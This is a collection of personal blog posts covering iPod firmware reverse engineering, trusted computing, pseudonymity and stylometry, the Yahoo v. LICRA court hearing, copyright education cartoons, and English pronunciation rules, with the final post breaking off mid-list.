Thanks to Mako, I heard about a remarkable piece of reverse engineering. A reverse engineer (Nils Schneider) wanted to study the firmware of the Apple iPod in order to figure out how to write software that runs on iPods. But he experienced a chicken-and-egg problem: after learning how to write simple programs to run on an iPod, he found that he couldn't figure out how to use the iPod's I/O hardware (in order to extract a copy of the firmwire) without studying the firmwire first to see how Apple does I/O. At the same time, he couldn't study the firmware without first extracting a copy of it.

His ingenious solution was to use someone else's technique for making the iPod squawk and squeak, in order to write a program that output the firmware as a series of sounds (which could then be recorded using a microphone, and analyzed using software on a PC in order to convert them back into a digital representation of the firmware). In effect, he turned the iPod and microphone system into an acoustic modem, and wrote his own modulation scheme for representing data as sound. He wasn't using the iPod's headphone jack; he was making the iPod itself squeak and squawk, using a piezoelectric element somewhere inside the iPod. To protect against background noise, he had to put the iPod and the microphone together inside a padded box, and let them sit for eight hours.

Somehow this reminds me of the scene in William Gibson's "Johnny Mnemonic" in which Johnny is made to recite (for three hours) a memorized computer program to which he has no conscious access. "And then it all faded to cool gray static and an endless tone poem in the artificial language. I sat and sang dead Ralfi's stolen program for three hours." In the story, the program in question is a misappropriated secret; here, despite the interesting aesthetic parallel, I think Schneider's purpose in studying the iPod's firmware is perfectly proper.

In fact, Nils Schneider's remarkable creativity with the iPod gives me a kind of hope for the future. In seventh grade, when I had a computer with a dead monitor (I think it turned out to be unplugged), I wrote a routine to give output in terms of beeps on the speaker; you could tell if a program was working by counting the number of beeps it output. (Strings could be translated into binary and then beeped at you that way, but it was a little tedious writing them down and trying to decode them.)

Schneider's ingenious approach shows several important virtues:

Richard Stallman writes:

But [IBM's] cooperation is incomplete: when I asked for the specifications necessary to make LinuxBIOS run on [ThinkPad] laptops, IBM refused -- citing, as the reason, the enforcement of "trusted computing".

Does anyone have more technical details on this? It doesn't seem inherently necessary to TCG's design that users be prevented from loading their own BIOS. In any case, if the ThinkPad BIOS can be flashed, it's not as if users can be prevented from substituting their own BIOS. Is it possible that many of the TCG CRTM functions were implemented by IBM within its BIOS and simply can't be moved outside of the BIOS on current ThinkPad designs?

Chris pointed out that he had heard on the Cryptography list about a paper by Odlyzko and Tilly that calls into question Metcalfe's Law. Metcalfe said that the value of a network is proportional to the square of the number of users of the network, because the number of possible conversation partners is n(n-1)/2. Odlyzko and Tilly say that not all possible conversation partners are equally valuable to everyone -- including a great discussion of Thoreau's comment on Maine and Texas -- and conclude that there are reasons to think that the value of a network grows more slowly than the square of the number of its users.

By the way, apart from saying that the value of networks grows quickly as they get larger, Metcalfe isn't actually that much of an optimist.

Mako found an amazing thing: the WIPO page on Women and Intellectual Property. (Actually, it looks like Greg Pomerantz found it and Mako wrote about it.)

I wish someone would start a blog or a site that collects examples of how copyrights and patents are marketed to various communities. Some of my favorite examples involve the government of Taiwan making a big effort to impress the U.S. Trade Representative and the overseas direct investment community with a series of copyright education campaigns. Of course, the Taiwanese approach to copyright education is not something that makes a lot of sense in American culture; the government hired people to create a bunch of cartoon characters, songs, slogans, and even dances in honor of copyright, and then held enormous public parties in which celebrities demonstrated all of these things and painted respect for copyright as one's patriotic duty as a modern Taiwanese citizen. (A lot of that material is no longer on-line, which is a real shame. But you can probably deduce from first principles most of what it looked like... if the Taiwanese government's copyright education campaigns did not exist, it would have been necessary to invent them.)

Another classic is the WIPO children's cartoons, which feature a multi-ethnic group of young children in a series of adventures involving copyrights, patents, and trademarks. In each case, one of the children has some kind of amazing talent (as a graphic artist or musician, as an inventor, or as a small business entrepreneur), tries to pursue it, is mocked by the unsympathetic and uncool adult world, is threated with exploitative behavior from the shady world of pirates, and then is suddenly informed about the relevant flavor of IP rights in somewhat excruciating detail by a young person. Good triumphs in the end as the newly-informed kid is able to use one or another kind of IP to put the piratical villains in their place and become a successful artist, inventor, or business person.

In general, you can have an interesting time by poking around the web sites of some law enforcement agencies, treaty organizations, etc., and trying to find their "For Kids" sections. They almost always have some kind of cartoon or game dedicated to putting a positive light on the organization's activity. It's an amazing genre.

"We once again beheld the stars" when we
emerged from darkness, or from misery:
Hans Bethe made us see them differently.
Timor mortis conturbat me.

Aaron: "In olden days, children used to whine to their parents and parents would reply by telling them how they have it so much better than those kids in China. In modern days, children whine on their blog and the kids in China tell them themselves."

Meanwhile, Mako gets a legitimate business inquiry from Nigeria that reads just like a 419 scam e-mail; from all accounts, ordinary Nigerians really do write e-mail in more or less the same style as the 419 scammers.

"[OPEC members] don't feel comfortable with oil above $50 a barrel because they know over the long term it starts to cause some shifts -- for example, people buying more hybrid autos, which use less gasoline." [says Rick Mueller, senior oil analyst at Energy Security Analysis in Wakefield, Mass.]

(The Christian Science Monitor)

I recently mentioned the WIPO children's cartoons. They have one each about trademarks,copyrights,and patents.

Siva and Cory found that a group called the Alternative Law Forum has produced a pretty funny parody of the copyright cartoon. They're apparently working on their own versions of the patent and trademark cartoons next.

In February, I had an interesting conversation with Zooko about anonymity and pseudonymity. I pointed out that early cypherpunks were very optimistic about the ease with which Internet users would be able to maintain multiple, independent, unlinkable personas. They could simply have different names (or no names at all) for different situations, and avoid letting any information out that might connect these different personas. It would be hard to overstate how common this enthusiasm was in traditional cypherpunk optimism; the hope was that, not only would the occasional whistleblower be able to send the occasional isolated message, but people would be able to carry on long-term, repeated, mutually anonymous conversations -- many of them in public.

There have been lots of nice developments in anonymity, including both theoretical advances and deployed anonymity and pseudonymity technology. We have the various generations of remailers, we have Tor and other layered proxy systems, and we have elegant ideas like Invisiblog. But actually being pseudonymous turns out to be a lot of work, because there are just so many ways to mess up!

I mentioned the "tangled web" problem to Zooko: if you have several different personas, one of which may be your real name, those personas should ideally not have any of the same communication patterns. That includes spelling, punctuation, vocabulary, phrase structure, diction, frequency of communication, time of day of communication, and much more. There should not be any time correlation among your personas' communications (or at least no clearer correlation than could be accounted for by the hypothesis that you're in nearby timezones, and even that might be more information than you want to give away). Your different personas also should appear to have different knowledge, so that one of them might be expected to know certain things of which the other would be expected to be ignorant. (This can be a terribly difficult pretense to keep up in person, because psychologists are coming up with all sorts of ways to tell whether somebody is familiar with a particular topic, from clever language games and calculated ambiguities all the way through involuntary physical reactions. But on-line, we would expect to be free of some of these difficulties.) You might therefore have to keep track of which facts one persona is supposed to know as well as the fact that another persona isn't supposed to know about them.

This is a lot of work, and many of these factors are difficult to control consciously. The Tor bibliography points to a paper by Rao and Rohatgi on stylometry, the use of statistical techniques to try to attribute authorship to texts using only the evidence of the texts themselves. This was done successfully, and apparently convincingly, with some of the anonymous Federalist papers, and stylometric techniques have only gotten better. They can measure people's propensity to commit particular errors, to use particular words or kinds of words, to write sentences of particular lengths, to use one kind of punctuation or another, and combine dozens of factors that are believed to be fairly stable over time to produce a plausible composite model of the way someone writes. (One of my English teachers told me about the use of concordances to show that a writer had written a book after reading another one. The new book used an extremely unusual word that appeared in the earlier book, and the second author had never used that word in print before!)

The Rao and Rohatgi paper, "Can Pseudonymity Really Guarantee Privacy?", after discussing and demonstrating some stylometric techniques, suggests that anonymous communication channels are only a privacy solution at one layer, and that privacy can be compromised easily at another layer. They say:

We believe (and demonstrate) that recent advances in stylometry pose a significant threat to privacy that merits the serious and immediate attention of the privacy community. For instance, using stylometry, one can link the multiple pseudonyms of a person and if one such pseudonym happens to be his/her identity, then the protection afforded by the other pseudonyms is compromised.

(Notice that the author of this paragraph uses no comma before "and if", but uses a comma before "then" in an "if ... then" construction. I wonder if we could tell whether it was Rao or Rohatgi. Anyway, if you haven't read their paper, you should, because you'll learn vastly more from it than from the rest of this post.)

Zooko says that his first attempt at on-line pseudonymity was promptly unmasked by a human being, not even using formal statistical techniques: "[W]hen, in the throes of early cypherpunk enthusiasm, I decided to try a pseudonym, "Zooko" in 1996 or so, [...] Adam Back immediately responded to my posts to cypherpunks by asking if I were also Bryce Wilcox..." He points to the saying of Mark Twain: "If you tell the truth, you don't have to remember anything."

It's daunting to think just how much an effective pseudonymous communicator may have to remember. What time of day is the pseudonym supposed to be active? What punctuation style should the pseudonym use? What kind of vocabulary? Is the pseudonym a good typist (and if not, what particular kinds of typing errors does the pseudonym make)? Does the pseudonym regularly go on vacation at the same times as the real person behind it? Are there any idiosyncracies in the pseudonym's writing? Is there evidence of what kind of software the pseudonym's computer is running? Is the pseudonym good at writing HTML, does the pseudonym favor particular HTML tags, does the pseudonym use a particular HTML editor? Did the pseudonym ever make any claims about itself, its location, work history, academic qualifications, etc., and will it act consistently with those claims, and can it do things to back them up if someone tries (perhaps in a devious and subtle way) to call them into question? If there's more than one pseudonym per person, how can the person who controls all of them keep the answers to all these questions -- and others -- straight?

Most of these problems are independent of the limitations of whatever kind of anonymity technology is in use. Some anonymity technologies may themselves leak information beyond the control of the user, or give the user too many options that may result in different behavior visible to someone at the other end. (Right now I'm a little anxious about all the options in Privoxy, which is commonly used with Tor or as a privacy-enhancing proxy in its own right. If different users set up their Privoxies in sufficiently varying ways, they might become distinguishable on the basis of some of those differences!)

And getting over all these problems still requires having a way to defeat stylometry, and as yet nobody even has a clear account of how hard that would be, because nobody has extensively studied how good stylometry can be when the person whose style is under examination is trying to beat stylometry. (Here "nobody" excludes the spook lords in their halls of stone.)

Anonymity and pseudonymity are obviously easier in cases where there's less variation in the messages that end users are sending, and where very high latency is acceptable. For example, if users are only sending any one of 10 predetermined messages, it would be hard to do stylometry attacks against them when they didn't compose the messages themselves. That means that anonymous networks with very low information rate can probably be built, but it's best for the anonymity if the participants don't speak natural languages at all, and best of all if they don't try to say anything about the real world...

On the bright side, reading anonymously is easier than writing anonymously. It might be hard to write the Federalist papers without giving away who you are (or at least which Federalist numbers you wrote), but it might be relatively straightforward to publish the Federalist without knowing (or letting other people find out) who chooses to read it.

After discussing other reasons why anonymous publishing is hard and why linkability can result from a single casual error, Zooko continues:

The reason for my early cypherpunk enthusiasm about pseudonymity is that if a person can't be traced from on-line interaction to physical body, then that person can't be physically threatened, coerced, or attacked. Unfortunately, the easy implementations of pseudonymity give rise to another quality in addition to the "no tracing from pseudonym to body" quality. That secondary quality is the "no linking one of my pseudonyms to another of mine". In theory, we could have the former quality without the latter, which would ameliorate the problem of pseudonymous folks being immune from negative reputation. Which would, maybe, eventually, cause us to view pseudonymous people with less social suspicion. That's a long chain of "maybes". I'm not holding my breath!

In later conversation he suggests that cypherpunks were probably too optimistic about pseudonymity solely on the basis of this one important feature (freedom from punishment or coercion for communicating ideas), and that cypherpunks overgeneralized from this benefit to the conclusion that we don't, or shouldn't, need identity for anything. More about this question later, I hope.

Cory mentions a new project called Butler, which extends FireFox to alter the appearance of Google search results. The most interesting feature from my point of view is the elimination of restrictions on saving images from Google Print. Butler also removes Google text ads, and does various other things. Part of me can't help wondering whether this is meant as some sort of political statement about the controversial Google Toolbar AutoLink feature, which alters the appearance of web pages. Now the appearance of Google itself can be altered on the client side, with the removal of ads and the insertion of links to Google's competitors. Perhaps Mark Pilgrim means to say that what's sauce for the gander is sauce for the Goo... er, goose.

I'm constantly amazed by the programmability of FireFox and the Mozilla suite. I'm starting to understand why people are saying that they're great development environments, and I'm also starting to worry that there will soon be a new industry based on writing spyware for FireFox.

I apologize for the outage, and thank you for your patience.

The modification times on the entries for March have been fudged somewhat, but I don't know whether you can even see those as a reader, so I won't worry about it. All of my old links should now work, so if you encounter one that doesn't, please let me know!

I've also lost one name that I had added to my blogroll; if you remember who that was, please let me know about that, too.

My mother found some dead lettuce in her refrigerator. "This lettuce is dead", she said. "You had better send it to the Dead Lettuce Office", I said.

In an earlier post, I talked about Zooko's views on pseudonymity and privacy, including the general idea that pseudonymity is quite a lot harder to maintain that cypherpunk privacy enthusiasts originally hoped.

David Weekly sent me a very thoughtful comment on this, with a similar skepticism. David recalls that a friend happened to comment that she kept a journal on-line.

"LiveJournal?" I guessed.

"Yeah," she said, "that's right. But I don't use my name, so people can't find it."

"I can find it in 15 minutes."

[... S]ure enough, I found her pseudonym on LiveJournal in about fifteen minutes. Basically, it's a compression issue. Unless you can assume a very large shared secret codebook (certain "replacement names" for people, a la "C" = Chris the ex, "E" = Elizabeth the roommate, etc.), a certain amount of the keying and introduction has to actually be on the site. For instance, if you went to visit a specific place or had specific new interests, you probably would have to write out those things fully for the blog to be at all useful to your friends.

I would therefore posit that any public blog whose point it is even in part to reveal the life of the underlying person and their experiences is findable in a trivial amount of time, given even only a small amount of knowledge about the person. Public pseudonyms used in anything but the most academic of discussions are quickly discoverable by mentions of facts alone.

Beyond that, of course, there is the issue of "fist". As I'm sure you know, there were code listeners in the UK who would listen to transmissions from German field operators. Without even being able to decode the texts, the listeners were able to uniquely identify specific operators by the patterns of their transmissions. If this applies to banging out dits and dashes, how much more would this apply to style used in writing? Indeed, this is how the Unabomber was found out...the style was Ted Kaczyinski's and Ted's alone. So as long as one writes consistently, or even making use of a consistent set of aphorisms and analogies, one can be uniquely identified.

It's possible that automated tools will be able to scan the Net, matching well-defined personal sites and emails with public pseudonyms. The only real way around this is to either never make one's public persona public or never make the pseudonym public. The former is arguably difficult, save living as a hermit (with an Internet drop) and the latter defeats much of the point of having a pseudonym.

The "fist" idea reminds me of some of David Molnar's research on RFID privacy, where RFIDs that supposedly are privacy-protective may actually divulge persistent tracking information as a result of lower-level protocols (collision-avoidance schemes) that had not been specially designed for privacy protection.

There really is a layer-crossover problem. People rarely go to great lengths to make themselves statistically indistinguishable from other people. A pseudonym that writes only about a single topic (without making reference to life events), as Unlimited Freedom does, is better off, especially if that pseudonym writes only infrequently and at seemingly random times. But that doesn't coincide with the communications habits or preferences of very many people who might want (or think they might want) anonymity or pseudonymity.

There certainly are possibilities for mechanically rewriting texts. A machine can perform certain transformations to ensure consistency (or consistent randomness!) in certain stylistic distinctions, for example "it's" vs. "it is", "don't" vs. "do not", certain cases of passive voice vs. active voice, and so on. Pseudonymous writers should definitely use a spell check if they're not confident about their spelling or typographic abilities. (I think a persistent typo was one of the stylometric tricks that linked up pseudonymous posts in the stylometry paper that the Tor bibliography includes.) But David's observation functions mostly at higher levels, which can't be mechanically rewritten. And I think his observations are dead on with regard to people blogging about their own lives, unless they already belong to a simply vast anonymity set or make very cautious military-censor-like decisions about what they're going to include. Loose lips sink pseudonyms, but most bloggers who discuss their personal lives have nothing if not loose lips...

I visited my elementary school during my vacation last week and was pleased to run into about five of my elementary school teachers. Apparently, it's routine for teachers to teach at the Campus School for over twenty years. I was very excited to see them again and was once again persuaded that the Campus School is a wonderful place.

Various civil liberties attorneys, international visitors, and I made the brief trip two weeks ago over to the main courthouse of the Ninth Circuit in the South of Market Area in San Francisco. It's a beautiful building, and, though I've seen one other argument in the Ninth Circuit at another venue, I had never been inside this courthouse before.

We were there to see the rehearing en banc in Yahoo v. LICRA (more fully, Yahoo, Inc., v. La Ligue Contra Le Racisme et L'Antisemitisme). This is better known as the "Nazi memorabilia auctions" case. Previously, a French court had ruled in favor of student antiracist groups that sued Yahoo in France for permitting Nazi materials on its web sites, including Yahoo Auctions. Yahoo then filed suit in the U.S. to try to block enforcement of that judgment against it here on the grounds that enforcing that decision would violate Yahoo's first amendment rights. Yahoo won that case in the District Court and then lost on appeal to the Ninth Circuit. (The three-judge panel ruled that U.S. courts did not have jurisdiction over the French groups at this stage because they had not actually tried to enforce the French decision in the U.S.) Yahoo then sought rehearing en banc (before a larger panel of judges of the Ninth Circuit); EFF was amicus in support of Yahoo's rehearing request.

The en banc panel consisted of 11 randomly-selected judges of the Ninth Circuit, who had the power to reverse the earlier decision of three judges of that court. (Interestingly, they also have the power to reverse other earlier published decisions by the Ninth Circuit, something they alluded to during the argument; a Circuit Court sitting en banc is technically bound only by Supreme Court decisions, making it uniquely unconstrained by precedent if it so chooses.)

In theory, a lot of the U.S. case relates to the question of whether suing a U.S. entity abroad, in an effort to intimidate it or change its behavior in the U.S., is enough to give the U.S. entity a right to sue here for a judicial determination of whether its behavior is protected by U.S. law. This is a particular species of the question of when a court will exercise jurisdiction to grant a declaratory judgment, in order to avoid the "sword of Damocles" problem where someone is intimidated by an ongoing threat of a lawsuit.

Oddly, the judges did not seem particularly familiar with the factual history of the case. The lawyers came prepared to argue about jurisdiction, but a huge proportion of the questioning from the court was about specific facts, which ought to have been in the record. I don't think either side was prepared for such extensive factual questioning; I think both sides assumed that the judges would already have read the record of the case.

One of the judges got very upset at Yahoo for having brought the case in the first place, suggesting that Yahoo should not be seeking the right to sell and profit from Nazi memorabilia. He suggested that Yahoo should simply accept that it was wrong to help people trade Nazi objects or ideas, comply with the French judgment, and go home. The other judges mostly seemed to accept the idea that Yahoo did have a first amendment interest at stake, but weren't sure about whether declaratory judgment was appropriate in a situation like this.

One of the oddities of declaratory judgment is that the plaintiff often tries to show that it does have legal risk or exposure (that it is arguably doing something improper and hence is at risk of being sued), whereas the defendant tries to make the case go away by suggesting that it actually has no objection to the plaintiff's behavior. You can ridicule this dynamic as the "I'm a bad guy and you hate me"/"No you're not, and I don't" exchange.

Indeed, Yahoo spent a long time arguing that it was, in fact, flagrantly violating the French court's order, that it had never been in compliance with the French court's order, and that it was incapable of complying with it. It suggested that it was likely to get in plenty of trouble for continually flouting the court order and could be liable for an enormous fine. (Normally you don't hear corporate lawyers go to such great lengths to argue that the corporations are continuing to disobey court orders.) On the other side, LICRA (trying to make the case go away by suggesting that there was no real disagreement) kept arguing that Yahoo actually was complying with the court's order, that Yahoo was at no risk, that Yahoo was already doing the right thing, etc. This was quite a spectacle.

I'm amazed by the non-universalism that everyone in the courtroom (with the possible exception of the judge who criticized Yahoo) displayed. Everyone accepted the idea that France was right to forbid racist advocacy while the U.S. was simultaneously right to permit it, and that neither country ought to be able to do anything to undermine the other's policy. I heard nothing from other side that would have brought this idea into doubt. There was certainly no argument by the lawyers themselves that Nazi auctions were actually good or bad or that censorship of racist advocacy was actually a good or a bad thing. The theory seemed to be "they censor it, we don't, the question here is whether that discrepancy given a particular set of facts will create jurisdiction for a declaratory judgment action". I guess this could be seen as another instance of lawyers' and judges' famous ability to compartmentalize issues.

Several companies were unanimous in their assessment: if you have DSL service in California and want to change the name in which your underlying telephone service is billed, you will have a three-week DSL service outage. This is because of inadequacies in the way the line-sharing between DSL providers and local exchange carriers is set up.

You can't switch phone billing information while line-sharing with a DSL ISP is set up. (Why not?)

So you have to cancel the DSL service. This can be done almost immediately. Then it takes a week for the LEC to be informed that the DSL service has been shut off. (Why?)

Then you have to call the LEC to ask them to change the billing. The LEC will note your request immediately, but it takes a week for the LEC to make the change in its records. (Why?)

Then you have to call the DSL ISP and place a new order for DSL service. You supposedly can't do this inside the week when the LEC is changing its records, because the DSL order might be cancelled automatically if it were still pending when the LEC's internal change took effect. It then takes a week for the DSL ISP to activate your service. (Why?)

Note that the only benefit you get as a result of all these changes is that a single database entry in the phone company's computers has been corrected. But everyone agrees that there is no way that entry can be corrected without a three-week outage. (I don't know if this is true for California ILECs other than SBC.)

Imagine if another utility, like the electric company, had to shut off your service for weeks in order to correct your billing records.

Students can put on great conferences, with cool speakers, and seem especially sensitive to the idea that keeping a conference inexpensive matters. The Bay Area Law School Technology Conference this past weekend was one such; the general admission was only $25, yet the conference was well-organized, interesting, and even eligible for CLE credit. (I wonder how many CLE credits I've accumulated over the years. I was joking at the conference that one could do well financially if a CLE credit trading system were introduced along the lines of pollution credit trading.)

I enjoyed hearing Fred von Lohmann debate opposing counsel from Grokster first thing in the morning. (He had practice with this beforehand when C-SPAN put him up against former Solicitor General Ted Olson a couple of weeks ago.) I also enjoyed Aaron's performance when he was put on a panel between two conservatives (not, fortunately, between two thieves). The moderator of the panel was a ventriloquist, which suggests that, should Aaron ever have occasion to write a political autobiography, he would at least have the title Two Conservatives and a Ventriloquist available for his consideration. You can read the written version of his speech on his web site.

Maybe the most unusual thing at the conference was the opportunity to meet Bill Jolitz, co-author of 386BSD. He suggests that he's writing a book about the experience, which should be very interesting.

There was a fun discussion of EULAs in which Mark Lemley brought up the leather-winged demons of the night and the EULAs that not only prohibit criticism of a product but also claim the end-user's soul. He suggested that EULA practices are undermining important traditions of the law of contract formation and are likely to spoil contract law from within.

The integration of satellite imagery into Google Maps is lots of fun, and lets you do things like follow a familiar drive, walk, or bike ride from above, recognizing landmarks as you go. For example, here's the spot my sister and I wound up on our bike ride together last week.

Later on, I'll post about censorship, transparency, and aerial imagery.

I used to complain about arm injuries a lot. Now I have a new problem; I'm taking some time off of playing Dance Dance Revolution because it's been making my knee hurt. It's wonderful, wonderful exercise, but very high-impact.

If you exercise, or are thinking of taking up something like DDR, please make sure to stretch enough.

The Ninth Circuit doesn't make transcripts of oral arguments available, but it does make audio recordings available. Unfortunately, they're only published in Windows Media format. The recording of the recent en banc argument in Yahoo v. LICRA is available in that format.

Sumana found, and was impressed by, an argument against arguments for gay marriage whose author claims that it isn't quite an argument against gay marriage. Some people, including Sumana, are making much of the fact that this argument was posted by a libertarian blogger. (Their reasons for making much of this are quite varied.) I wanted to point out that, although this argument may have been written by a libertarian blogger, it is a conservative argument, not a libertarian argument. (I know that it's been argued that libertarian arguments are conservative arguments.)

This is recognized enthusiastically by some of the conservative commenters on the post in question, who commend Jane Galt on, well, making a conservative argument. See this example or this example and (sort of) this example from a "moderate" skeptic of libertarianism.

Indeed, Jane Galt herself starts out by saying that this is a conservative argument against liberal and libertarian arguments.

And later on she quotes Chesterton:

But as G.K. Chesterton points out, people who don't see the use of a social institution are the last people who should be allowed to reform it:

In the matter of reforming things, as distinct from deforming them, there is one plain and simple principle; a principle which will probably be called a paradox. There exists in such a case a certain institution or law; let us say, for the sake of simplicity, a fence or gate erected across a road. The more modern type of reformer goes gaily up to it and says, "I don't see the use of this; let us clear it away." To which the more intelligent type of reformer will do well to answer: "If you don't see the use of it, I certainly won't let you clear it away. Go away and think. Then, when you can come back and tell me that you do see the use of it, I may allow you to destroy it."

This paradox rests on the most elementary common sense. The gate or fence did not grow there. It was not set up by somnambulists who built it in their sleep. It is highly improbable that it was put there by escaped lunatics who were for some reason loose in the street. Some person had some reason for thinking it would be a good thing for somebody. And until we know what the reason was, we really cannot judge whether the reason was reasonable. It is extremely probable that we have overlooked some whole aspect of the question, if something set up by human beings like ourselves seems to be entirely meaningless and mysterious. There are reformers who get over this difficulty by assuming that all their fathers were fools; but if that be so, we can only say that folly appears to be a hereditary disease. But the truth is that nobody has any business to destroy a social institution until he has really seen it as an historical institution. If he knows how it arose, and what purposes it was supposed to serve, he may really be able to say that they were bad purposes, that they have since become bad purposes, or that they are purposes which are no longer served. But if he simply stares at the thing as a senseless monstrosity that has somehow sprung up in his path, it is he and not the traditionalist who is suffering from an illusion.

Now, of course, this can turn into a sort of precautionary principle that prevents reform from ever happening. That would be bad; all sorts of things need changing all the time, because society and our environment change. But as a matter of principle, it is probably a bad idea to let someone go mucking around with social arrangements, such as the way we treat unwed parenthood, if their idea about that institution is that "it just growed". You don't have to be a rock-ribbed conservative to recognise that there is something of an evolutionary process in society: institutional features are not necessarily the best possible arrangement, but they have been selected for a certain amount of fitness.

This argument is interesting, but it is not a libertarian argument. It is a conservative argument. Libertarian and conservative commenters on this thread are right to agree that it cuts directly against a wide variety of libertarian arguments on a wide variety of issues. If you like this argument, or this style of argument, you like a conservative argument.

There is a disagreement in libertarianism (among the many) between what I might call consequentialist and nonconsequentialist libertarianism. (I was once part of a discussion with Robin Hanson about what to call the ideas on either side of a similar disagreement.) We could also call the nonconsequentialists "radical individualist", "moralist", etc. The nonconsequentialists believe that freedom, as they understand it, is an end in itself, and, if they are honest, should not assume that freedom will necessarily lead to other good things, such as health, happiness, harmony, progress, or whatever. The consequentialists believe or argue that freedom, as they understand it, gets you somewhere, that it works, that it is a way of accomplishing goals for society.

Consequentialist libertarians might start to sympathize with social conservatives, and indeed there is a great deal of consequentialist discussion of family in Jane Galt's post. I have said for years (from since when I was a radical libertarian) that families and the status of children are one of the deepest sources of paradox and internal conflict in libertarianism, and in other kinds of political thought that aspire to radicalism.

Partly, I think this is because most people have experience being somebody's child and being in some kind of family, and they have ideas and attitudes about family that they learned from that experience, and sometimes in opposition to that experience, prior to and apart from any kind of political ideal. So you can see oddities like people who are otherwise radical advocates of free expression -- "for adults" -- simply assuming that children have no independent rights to free speech or access to information.

This is one reason that I was fascinated by George Lakoff's account of political ideas as being informed most by analogies to family life. Unfortunately, Lakoff describes only two ways of thinking about families, and his discussion of why those two ways are the only important ways seems cursory to me. (I think that, in practice, it's because those ways are the most culturally powerful, and because Lakoff, at least, believes that each of those ways is closely associated with one of the two powerful U.S. political parties. If he's right, they are the most important to understand for someone who wants to understand or influence mainstream U.S. politics. But that doesn't mean that they are the only existing or possible ideas.)

Of course, real people (though they may well subscribe to either of Lakoff's "strict father" or "nurturant parent" models) have ideas about families that are more detailed and elaborate than the two approaches Lakoff describes. And political radicals from many points of view do want to change or create alternatives to the family as we think we have known it.

I think consequentialist libertarians may come to think of families in social conservative terms (even if there are arguments that might have lead them in another direction) and may indeed be led to become social conservatives. Families -- inside and outside Lakoff's models -- do seem to be the paramount battleground and the source of paradox, conflict, and anomaly in political ideology.

I'm still having some problems with vitanuova, and they prevented me from posting recently. I apologize for the inconvenience.

I've also been out of town quite a lot, and had less Internet access than normal. I have some notes from which I hope I can describe what I've been up to recently.

A reminder: if you live in the United States and currently get a lot of junk mail, send a postcard with your name, address, and signature to Mail Preference Service, Direct Marketing Association, PO Box 643, Carmel, NY 10512, and you will get vastly less junk mail.

I welcome arguments about any possible reasons not to do this. When I do get junk mail, I try to bounce it back to the sender so that the sender will incur the cost of disposing of it. I do this particularly assiduously if I already have some other reason to dislike the sender. But it would certainly be best not to get the junk mail in the first place. If anyone wants to contribute suggestions on avoiding junk mail, individually or collectively, I'd be happy to discuss them here.

At a tag sale this morning in Davis, I bought a copy of Joe Kaufman's What Makes It Go? What Makes It Work? What Makes It Fly? What Makes It Float?, a children's book about technology that I had read when I was little. Re-reading What Makes It Go? reminded me that I was wrong to think that my interest in technology had been sparked or nourished only by David Macaulay's Underground (which is a fantastic book about what goes on underneath city streets, and the amount of invisible engineering that has to be done to make a city work well). What Makes It Go? was an exciting influence for me, too.

What Makes It Go? is a little reminiscent of Macaulay's The Way Things Work, but at a somewhat lower reading level (and level of technical detail), and with a sense of humor geared more towards children. (Both of them are very funny books.) Apart from being exciting, What Makes It Go? is respectful of its audience, not condescending. It also at least tries to show respect for the history of technologies. There are some important mistakes, especially the picture of a caveman fighting a dinosaur, but the tone and most of the technical detail is really nice.

Since What Makes It Go? was published in 1971, so there's no coverage of cell phones, but there's a lot of material on the moon landing (pp. 32-5). The predictions for the future at the end of the book can be a little hokey, but there's a fairly remarkable discussion of convergence:

Instead of having a separate television, telephone, and record player, as some people do today, you might have one single machine, a home communications center, that would do all the things they do. This machine might also be able to project slides, movies, and video tapes.

When I told Wolfgang about how I admired What Makes It Go?, she suggested that I write a children's book of my own about computer software. That sounds like a great idea. Kragen says he might be interested in working on a project like that with me.

There's a lot to tell about computing. I certainly don't have the whole picture in mind, but I know that when I started to program at age six, I didn't have much conceptual or contextual understanding of computers at all. I knew why I enjoyed programming them, but I didn't know why other people found computers interesting or how they used them or what kinds of ideas were important in the process of teaching computers to do what we wanted them to. Many of the interesting ideas about what computers can and can't do, and how to get them to do it, and what the experience of programming is like, are still often taught only at the university level. (Programmers have often been excited about writing, like Ellen Ullman's, that conveys some idea of what programming is like, because it seems so rare for non-programmers to experience an understanding of what we do, and how we think and feel when we're doing it.)

So I think this might be an interesting thing to work on. Of course, I have to finish my first book about trusted computing first.

At Asilomar recently I encountered the Computist's Quiz, which is pretty nice. (I'm not sure this is the most recent version.) Apparently Donald Knuth enjoyed taking this quiz, which is pretty high praise.

I also recently heard about a self-referential quiz by Don Woods and a slightly better known self-referential quiz by Jim Propp. (Don Woods is the same Don Woods who wrote the Colossal Cave Adventure with Willie Crowther. It turns out that game was based on a real cave!)

If you're a math or programming geek, I think these quizzes might keep you busy for a little while!

This information is pretty well known. For one thing, all native English speakers know it (although some of the details vary from English dialect to English dialect). Amazingly, very few native English speakers are conscious of it or can explain it. It's amazing how language works that way. We can apply rules perfectly without forming any conscious understanding of what we're doing.

In fact, it took me a couple of days of research on my own speech to articulate these rules. (Kragen helped confirm them, and it's clear that people have known and written about them for a long time, so this isn't a new discovery, just a new explanation. This explanation is for Carlos, though I hope it may be useful to other people.)

Written English has certain rules for forming regular past participles and regular plurals. (There are also irregular past participles, such as think/thought and see/seen, and irregular or foreign plurals, such as child/children, cactus/cacti, deer/deer. None of the information here relates to these irregular plurals, only to regular plurals.) The rules in writing are pretty easy. (If you're a native English speaker and want to see what all the fuss is about, skip this part and look down below, where I talked about the complexities of pronunciation.) For past participles, we add "-ed" (sometimes also doubling the consonant) to verbs ending in a consonant; "-d" to verbs ending in "e"; "-ied" to verbs ending in "y" (and delete the "y"); and "-ed" to verbs ending in "a", "i", "o", or "u". There's more that could be said about this, but that's a start. (One question is when we double the consonant; I have a guess but haven't convinced myself that it's a complete account yet.) For plurals, we add "-s" to nouns ending in a vowel or in a consonant other than "s", "ch", "sh", or "z"; "-es" to nouns ending in "s" "ch", or "sh"; and "-ies" to nouns ending in "y" (and delete the "y"), except if the "y" came after a vowel, in which case the "y" is treated as a consonant.

Now, the surprisingly tricky thing is that the rules for pronouncing these participles and plurals have remarkably little to do with how they are written. It quickly becomes apparent that some participles in "-ed" have an extra syllable, and some don't. For example, "darted" is two syllables, but "dashed" is only one syllable (it's pronounced like "dasht"). There are actually three different ways that the "-ed" might be pronounced -- it might be pronounced as "'d", as "'t", or as "-ed". Similarly, there are three different ways that a plural "s" might be pronounced -- as "'s", "'z", or as "ez". It's easy to see this sort of contrast in words like "things" and "thinks" (pronounced like "thingz" and "thinks"), or, for that matter, in "words" and "worts" (pronounced like "wordz" and "worts").

What controls how these are pronounced?

Here's the rule I've developed by studying my own speech. And Kragen seems to agree. If the final sound in a verb in the present tense is:

There's a similar pattern for the plurals.

